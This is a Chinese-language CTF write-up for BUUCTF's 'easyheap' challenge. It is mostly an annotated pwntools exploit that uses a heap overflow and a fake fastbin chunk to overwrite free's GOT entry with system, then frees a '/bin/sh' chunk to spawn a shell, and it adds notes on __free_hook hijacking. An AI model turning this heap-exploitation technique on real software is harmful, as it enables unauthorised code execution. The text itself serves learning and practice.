BUUCTF 上的題目,由於部分環境沒有復現,解法是非期望的 house of spirit
第一次接觸偽造堆的利用方式,exp 用的是 Pwnki 師傅的,本文為調試記錄及心得體會。
逆向分析的過程請見超鏈接,下面是我加了注釋后的 exp:
from pwn import *
#p = process('./easyheap')
p = remote('node3.buuoj.cn' ,'27234')
elf = ELF('./easyheap')
context.log_level = 'debug' # 設置 Log 等級
def debug(): # 調試函數 attach to gdb
gdb.attach(p)
pause()
def create(size,content): # 新建 heap,地址保存在 heaparray
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of Heap : ')
p.send(str(size))
p.recvuntil('Content of heap:')
p.send(str(content))
def edit(index,size,content): # 修改 heap 內容,存在堆溢出點
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
p.recvuntil('Size of Heap : ')
p.send(str(size))
p.recvuntil('Content of heap : ')
p.send(str(content))
def free(index): # 釋放 heap
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))
free_got = elf.got['free']
create(0x68,'aaaa') # chunk 0
create(0x68,'bbbb') # chunk 1
create(0x68,'cccc') # chunk 2
free(2) # 釋放 heap2 讓其進入 fastbin
payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020b0-3)
edit(1,len(payload),payload)
# 修改 heap1 內容為 '/bin/sh\x00', 以及堆溢出 heap2(freed) 修改其 fd 指針
# 因為最后釋放的是 heap1,利用 '__free_hook'(system) Getshell
# 為什么是 0x6020b0 - 3? 這是調試出來的
# FakeChunk 若以這里為 prev_size,則 size 正好是一個 0x000000000000007f
# 可以繞過 malloc_chunk 的合法性驗證 (new_chunk 的 size 位要與 bin 鏈表 size 一致)
# 這樣就偽造出了一個 chunk
create(0x68,'aaaa') # chunk 2 (從 fastbin 里取出的)
create(0x68,'c') # chunk 3 / idx = 0 (Fake)
payload = '\xaa' * 3 + p64(0) * 4 + p64(free_got)
edit(3,len(payload),payload)
# 修改 heap3 (Fake)
# 作用是把 heaparray[0] 的地址 (原先記錄的是 chunk 3 的地址) 覆寫成 free_got 地址
# 這就是要在 heaparry 附近構造 Fakeheap 的原因
# 確定具體的偏移量需要動態調試
payload = p64(elf.plt['system'])
edit(0,len(payload),payload)
# free_got 地址的作用在這里體現了
# 由於 edit() 的目標是 heaparry[] 里面的地址
# 那么本次操作將修改 free_got 為 system_plt 的地址
free(1)
# 當釋放 chunk1 (內容為 '/bin/sh\0x00') 的時候
# 把 chunk1 當參數傳入 free() 中執行,由於 free() 地址已經被修改成 system()
# 最后程序執行的就是 system(chunk1's content) 即 system('/bin/sh\0x00'), 成功 Getshell
p.interactive()
以下內容與本題無關!!
__free_hook
void __libc_free (void *mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */
void (*hook) (void *, const void *)
= atomic_forced_read (__free_hook);
if (__builtin_expect (hook != NULL, 0))
{
(*hook)(mem, RETURN_ADDRESS (0));
return;
}
上面的代碼對是 free() 函數的一部分,可以看出程序先把全局變量 __free_hook 賦給了局部變量 hook ,然后對 hook 是否為 NULL 進行判斷,如果不為空,則執行 hook ,第一個參數就是 chunk 的內容部分。
一般的情況下 __free_hook 是為 NULL 的,所以是不會執行的,但是如果有人惡意修改 __free_hook 的話,就會造成 __free_hook 劫持。
總結
用了一個下午的時間,感覺自己調試技巧又熟練了一點,學習到了一種 Fakeheap 的利用手法,但是本題難度不太大,還需要更多題目來鞏固。